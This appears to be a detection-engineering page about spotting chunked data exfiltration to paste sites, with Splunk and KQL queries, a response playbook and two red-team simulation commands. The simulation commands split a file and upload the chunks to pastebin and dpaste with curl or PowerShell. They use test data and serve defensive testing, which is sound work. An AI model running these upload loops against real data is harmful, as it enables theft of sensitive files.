Detect Chunked Multi-Paste Exfiltration to Text Storage Dead Drops in Splunk
Free-tier text storage sites (Pastebin, dpaste, Ghostbin, paste.ee) enforce per-paste size caps that typically range from 512KB to a few megabytes. Adversaries and data-extortion crews exfiltrating a large staged archive (credential dumps, database exports, source code trees) via these services split the payload into sequential chunks — using `split`, PowerShell `Get-Content -ReadCount`, or a bundled exfil script — and upload each chunk as a separate paste, sometimes across multiple throwaway accounts to evade per-account rate limiting. This defeats naive single-event, single-large-transfer detection because no individual upload looks abnormal in isolation; the signal only emerges from correlating a burst of same-host, same-account paste-site uploads within a short window, each falling suspiciously below the platform's known size ceiling. This pattern is distinct from the ad-hoc single-paste developer or IR-analyst use already covered by the base T1567.003 technique detection: it requires both a local file-splitting or chunk-naming precursor and a subsequent burst of small, same-destination uploads. Both data-extortion crews staging data ahead of ransom negotiation and espionage actors moving smaller artifacts are known to use public paste and text-storage sites as dead drops; chunking credential material across many small pastes specifically evades proxy-level DLP thresholds tuned to single-request byte counts.
MITRE ATT&CK
- Tactic
- Exfiltration
SPL Detection Query
| multisearch
[ search index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
((Image="*\\split" OR Image="*\\split.exe") AND (CommandLine="*-b*" OR CommandLine="*--bytes*" OR CommandLine="*-l*"))
OR ((Image="*\\powershell.exe" OR Image="*\\pwsh.exe") AND CommandLine="*Get-Content*" AND (CommandLine="*ReadCount*" OR CommandLine="*chunk*" OR CommandLine="*part*"))
| eval Signal="LocalFileChunking"
| table _time, host, User, Image, CommandLine, Signal ]
[ search index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
(DestinationHostname="*pastebin*" OR DestinationHostname="*hastebin*" OR DestinationHostname="*ghostbin*" OR DestinationHostname="*paste.ee*" OR DestinationHostname="*dpaste*" OR DestinationHostname="*sprunge*" OR DestinationHostname="*termbin*" OR DestinationHostname="*ix.io*" OR DestinationHostname="*controlc.com*" OR DestinationHostname="*rentry.co*")
| bucket _time span=15m
| stats count as UploadCount, values(DestinationHostname) as Destinations by host, User, _time
| where UploadCount >= 3
| eval Signal="BurstPasteUploads" ]
| stats values(Signal) as Signals, values(CommandLine) as Commands, values(Destinations) as Destinations, sum(UploadCount) as TotalUploads by host, User
| where mvcount(Signals) > 0
| sort - TotalUploadsSPL equivalent of the two-signal correlation: Sysmon Event ID 1 for local file-splitting utility execution (`split`, chunked `Get-Content`), and Sysmon Event ID 3 for a 15-minute bucketed burst of three or more distinct paste-site network connections from the same host/user. Results are grouped by host and user so an analyst can see both the staging and the burst-upload signal together.
Data Sources
Required Sourcetypes
False Positives & Tuning
- Log-splitting or report-generation scripts unrelated to paste-site exfiltration
- Developers uploading several small, unrelated debug snippets in one session
- CI/CD pipelines publishing multiple build logs as separate pastes
- Security tooling chunking and uploading sanitized IOC lists for team sharing
Other platforms for THREAT-PasteSite-ChunkedDeadDropExfil
Testing Methodology
Validate this detection against 2 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Split a Staged File and Upload as Multiple Pastebin Chunks
Expected signal: Process creation event for `split` with `-b 100k` and an output prefix argument. Three or more curl process creation events within a short window, each with a command line referencing pastebin.com/api/api_post.php. Corresponding network connection events to pastebin.com on port 443 for each curl invocation.
- Test 2PowerShell Chunked Read-and-Upload Loop to dpaste
Expected signal: Sysmon Event ID 1 for powershell.exe with CommandLine containing 'Get-Content', 'ReadCount', and 'dpaste.org'. Multiple Sysmon Event ID 3 network connections from powershell.exe to dpaste.org within the same execution window. PowerShell ScriptBlock Log Event ID 4104 capturing the full loop.
Response Playbook
Triage
- Pull the full list of paste-site destination URLs and timestamps for the burst window — a single account/domain receiving all chunks strongly suggests a single coordinated exfiltration rather than unrelated developer activity.
- Check whether a file-splitting utility (`split`, PowerShell chunked read) executed on the same host in the 30 minutes preceding the upload burst, and identify the source file/directory that was split.
- Review the total aggregate bytes across all pastes in the burst — even though each individual upload is small, the sum may represent a substantial data volume (credential dump, database export, source tree).
- Identify the account and process context — is this a developer workstation, or a server/service account with no legitimate reason to interact with paste sites at all?
- Check for preceding data-collection or archive-staging activity (large file reads, ZIP/7z archive creation, database export tool execution) in the hours before the chunking began.
- If chunk filenames or paste titles are visible in command-line arguments, check for sequential naming (e.g., part1, part2, chunk_001) confirming deliberate splitting rather than coincidental unrelated pastes.
Containment
- If the burst is still in progress, isolate the endpoint via EDR network isolation to stop additional chunks from being uploaded.
- Block the destination paste-site domain(s) at the proxy for the affected host/subnet while the investigation continues.
- Report the collected paste URLs to the platform's abuse/takedown process immediately — chunked data is only useful to the adversary once reassembled, so early takedown of even some chunks limits exposure.
- Preserve the local staged/split files on the source host before they are deleted by the exfiltration script's cleanup routine, if any remain.
- Rotate any credentials or secrets that may have been present in the source data being chunked, based on the file/directory identified during triage.
Evidence Collection
- Process creation logs for the file-splitting utility, including full command line showing chunk size and output filename pattern
- Network connection logs (Sysmon Event ID 3) for every paste-site connection in the burst window, with destination URL, bytes sent, and timestamp
- File creation events (Sysmon Event ID 11) for the sequentially named chunk files on the source host
- Command history (ConsoleHost_history.txt, .bash_history) covering the staging and upload commands
- Proxy logs confirming the HTTP method, content length, and response for each chunk upload
Escalation Criteria
- !Aggregate bytes across the paste burst exceeds several megabytes, consistent with bulk credential or database exfiltration rather than incidental snippet sharing
- !The burst originates from a server, database host, or service account with no legitimate business reason to reach paste sites
- !Chunking activity immediately follows credential-dumping or archive-collection indicators on the same host
- !Multiple hosts show the same chunking-then-burst pattern within a short timeframe, suggesting a scripted, repeatable exfiltration tool deployed across the environment
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Sequentially named chunk files in %TEMP%/ or /tmp/ (e.g., data.part001, data.part002) — often deleted post-upload but may survive in shadow copies or forensic disk images - >
Command history showing the split invocation with chunk size and output prefix - >
PowerShell ScriptBlock logs (Event ID 4104) capturing the full chunked-read/upload loop if PowerShell was used end-to-end - >
Sysmon Event ID 3 records for every chunk upload, useful for reconstructing the full destination set and total exfiltrated volume - >
Browser or API response artifacts (if captured by proxy) containing the returned paste URLs for each chunk — critical for takedown and content preservation
Tuning Guidance
Set the burst threshold (default 3 uploads in 15 minutes) based on your environment's observed baseline of legitimate multi-paste activity — CI/CD pipelines that publish several build logs per run are the most common source of false positives, so identify their service account/hostname pattern and exclude it explicitly rather than raising the threshold globally, which would blind the detection to genuine chunked exfiltration. The AvgBytesPerUpload ceiling should be tuned to just under the smallest paste-size cap among the platforms you consider in scope (commonly ~512KB for free-tier accounts) so that deliberate under-the-cap chunking is flagged while occasional small legitimate pastes are not. Prioritize alerts where the LocalFileChunking signal is present alongside the burst — that combination has very few legitimate business explanations outside of automated build/report tooling.
Hunting Queries
Retroactively hunt for any 15-minute window over the past 30 days where a single host/account made three or more paste-site connections — surfaces historical chunked-upload bursts that may have been missed at the time.
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has_any ("pastebin.com", "hastebin.com", "ghostbin", "paste.ee", "dpaste", "sprunge.us", "termbin.com", "ix.io", "controlc.com", "rentry.co")
| summarize UploadCount=count(), TotalBytes=sum(BytesSent) by DeviceName, AccountName=InitiatingProcessAccountName, bin(Timestamp, 15m)
| where UploadCount >= 3
| sort by UploadCount descindex=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
(DestinationHostname="*pastebin*" OR DestinationHostname="*hastebin*" OR DestinationHostname="*ghostbin*" OR DestinationHostname="*paste.ee*" OR DestinationHostname="*dpaste*")
| bucket _time span=15m
| stats count as UploadCount by host, User, _time
| where UploadCount >= 3
| sort - UploadCountAtomic Red Team Tests
Simulates chunked exfiltration by splitting a local test file into three parts using `split`, then uploading each part as a separate paste via curl within a short window — replicating an adversary evading a single-request size cap.
Command
dd if=/dev/urandom of=/tmp/staged_data.bin bs=1024 count=300 && split -b 100k /tmp/staged_data.bin /tmp/chunk_ && for f in /tmp/chunk_*; do curl -s -X POST https://pastebin.com/api/api_post.php -d "api_dev_key=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&api_option=paste&api_paste_private=1&api_paste_code=$(base64 -w0 $f)"; doneCleanup
rm -f /tmp/staged_data.bin /tmp/chunk_*Expected Telemetry
Process creation event for `split` with `-b 100k` and an output prefix argument. Three or more curl process creation events within a short window, each with a command line referencing pastebin.com/api/api_post.php. Corresponding network connection events to pastebin.com on port 443 for each curl invocation.
Expected Detection
KQL LocalFileChunking fires on the `split -b` invocation. KQL BurstPasteUploads fires once three curl connections to pastebin.com occur within the 15-minute bin, with AvgBytesPerUpload comfortably under 1MB. SPL query surfaces both the EventCode=1 split execution and the EventCode=3 burst in the combined stats output.
Simulates a PowerShell-based chunked exfiltration loop that reads a file in fixed-size chunks via `Get-Content -ReadCount` and uploads each chunk to dpaste.org, mimicking a script-based implant that avoids shelling out to `split` or `curl`.
Command
powershell.exe -NoProfile -Command "1..300 | ForEach-Object { 'X' * 1024 } | Out-File C:\Temp\staged_data.txt; $chunks = Get-Content C:\Temp\staged_data.txt -ReadCount 50; $i=0; foreach ($c in $chunks) { $i++; Invoke-RestMethod -Uri 'https://dpaste.org/api/' -Method POST -Body @{ content = ($c -join "") } }"Cleanup
Remove-Item C:\Temp\staged_data.txt -Force -ErrorAction SilentlyContinueExpected Telemetry
Sysmon Event ID 1 for powershell.exe with CommandLine containing 'Get-Content', 'ReadCount', and 'dpaste.org'. Multiple Sysmon Event ID 3 network connections from powershell.exe to dpaste.org within the same execution window. PowerShell ScriptBlock Log Event ID 4104 capturing the full loop.
Expected Detection
KQL LocalFileChunking fires on the Get-Content/ReadCount pattern in the PowerShell command line. KQL BurstPasteUploads fires on the resulting multiple dpaste.org connections within the 15-minute window from the same DeviceName/AccountName.
Related Detections
Tactic Hub
Detection Variants (1)
Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.